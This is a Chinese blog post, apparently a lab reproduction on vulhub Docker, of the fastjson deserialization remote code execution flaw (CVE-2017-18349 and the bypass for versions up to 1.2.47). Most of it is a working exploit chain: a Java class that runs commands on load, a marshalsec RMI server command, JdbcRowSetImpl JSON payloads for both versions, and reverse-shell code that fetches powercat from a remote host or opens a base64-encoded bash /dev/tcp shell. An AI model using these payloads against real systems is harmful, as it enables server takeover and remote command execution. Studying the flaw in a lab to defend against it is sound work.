zoukankan      html  css  js  c++  java
  • fastjson反序列化复现

    前言

    这里将fastjson<=1.2.24和fastjson<=1.2.47的版本同时复现。利用的思路都是大致相同的,部分细节忽略。

    一、环境搭建和知识储备

    1.1、影响版本

    漏洞1

    CVE-2017-18349
    fastjson <= 1.2.24(实际[1.2.22-1.2.24])

    漏洞2

    fastjson <= 1.2.47(实际[1.2.25-1.2.47])

    1.2、Docker搭建环境

    1.进入vulhub/fastjson,启动docker即可

    cd /root/vulhub/fastjson/1.2.24-rce/
    docker-compose up -d
    

    2.查看启动的docker进程

    docker ps
    

    3.以上仅展示fastjson<1.2.24的版本,另外一个在vulhub中环境搭建相同,不阐述。

    二、复现过程

    2.1、fastjson1.2.24

    1、整体思路
    首先探测数据包的正常返回-->
    利用漏洞poc验证存在与否-->
    利用漏洞exp反弹shell或执行命令


    2、具体流程
    1)、正常数据包返回
    我们在这个vulhub的docker环境中搭建出fastjson的服务后,查看docker对外映射的端口,在外部通过浏览器以http://ip:port的形式访问即可,然后会返回图中的json数据。同时我们也可以通过图中的post方式传递并更改
    数据,如图

    2)、在个人的vps或存在可以由docker可以访问到的ip(后面统称vps)下建立启动web服务
    假如vps上存在python环境,也可以这样建立web服务,端口可变,当前目录即为web根目录

    python3 -m http.server 8888
    

    3)、在web根目录下建立如下的java文件并编译
    Exploit.java
    其中的dnslog.cn的地址需要更改

    public class Exploit{
        public Exploit() {}
        static
        {
            try {
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                        ? new String[]{"cmd.exe","/c", "ping 8twpbw.dnslog.cn"}
                        : new String[]{"/bin/bash","-c", "curl 8twpbw.dnslog.cn"};
                Runtime.getRuntime().exec(cmds);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args) {
            Exploit e = new Exploit();
        }
    }
    

    编译命令
    测试时使用的是jdk1.8

    javac Exploit.java
    

    4)、利用vps建立一个RMI服务,目录不做要求

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://111.111.11.11/#Exploit" 8889
    

    执行命令后如图

    5)、向靶机即docker环境发送如下数据包,即可在dns收到请求

    dnslog地址是我们在Explot.java文件中填入的地址,发送的数据在下面的payload

    6)、该版本的payload,实际上是这个漏洞复现中最有价值的东西

    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://11.11.17.11:8889/Exploit",
            "autoCommit":true
        }
    }
    

    7)、反弹shell,反弹shell需要更改Exploit.java文件执行的命令

    注意,其中的ip和port我已经更改,比如其中利用powershell反弹shell需要请求的powercat文件是在我的vps服务器下的,然后linux反弹shell的base64编码对应的ip和port同样需要更改

    public class Rshell{
        public Rshell() {}
        static
        {
            try {
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                        ? new String[]{"cmd.exe","/c", "powershell "IEX (New-Object System.Net.Webclient).DownloadString('http://11.11.11.11/powercat.ps1'); powercat -c 11.11.11.11 -p 9999 -e powershell""}
                        : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};
                Runtime.getRuntime().exec(cmds);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args) {
            Rshell e = new Rshell();
        }
    }
    
    

    8)、弹回来的shell如图

    2.2、fastjson1.2.47

    1、整体思路
    首先探测数据包的正常返回-->
    利用漏洞poc验证存在与否-->
    利用漏洞exp反弹shell或执行命令


    2、具体流程
    1)、前置流程和1.2.24的相同,这里直接上payload,用dnslog验证

    2)、payload

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://11.11.17.11:8889/Exploit",
            "autoCommit":true
        }
    }
    
  • 相关阅读:
    设置Fedora core 6中yum光盘源 去除无收集不克不及翻开软件包治理的标题效果
    从头放置Windows后Ubuntu 8.04启动的恢复
    _desktop.ini“维金(Worm.Viking.m)”的病毒?
    理顺 JavaScript (17) 函数
    理顺 JavaScript (15) 类的继承手段: prototype
    UniCode 速查表
    理顺 JavaScript (16) 使用 prototype
    一句话判断网络是否联通
    给 Edit 两个可选值 回复 "delphi学习中" 的问题
    理顺 JavaScript (20) String 中的正则表达式函数
  • 原文地址:https://www.cnblogs.com/qianxinggz/p/13391500.html
Copyright © 2011-2022 走看看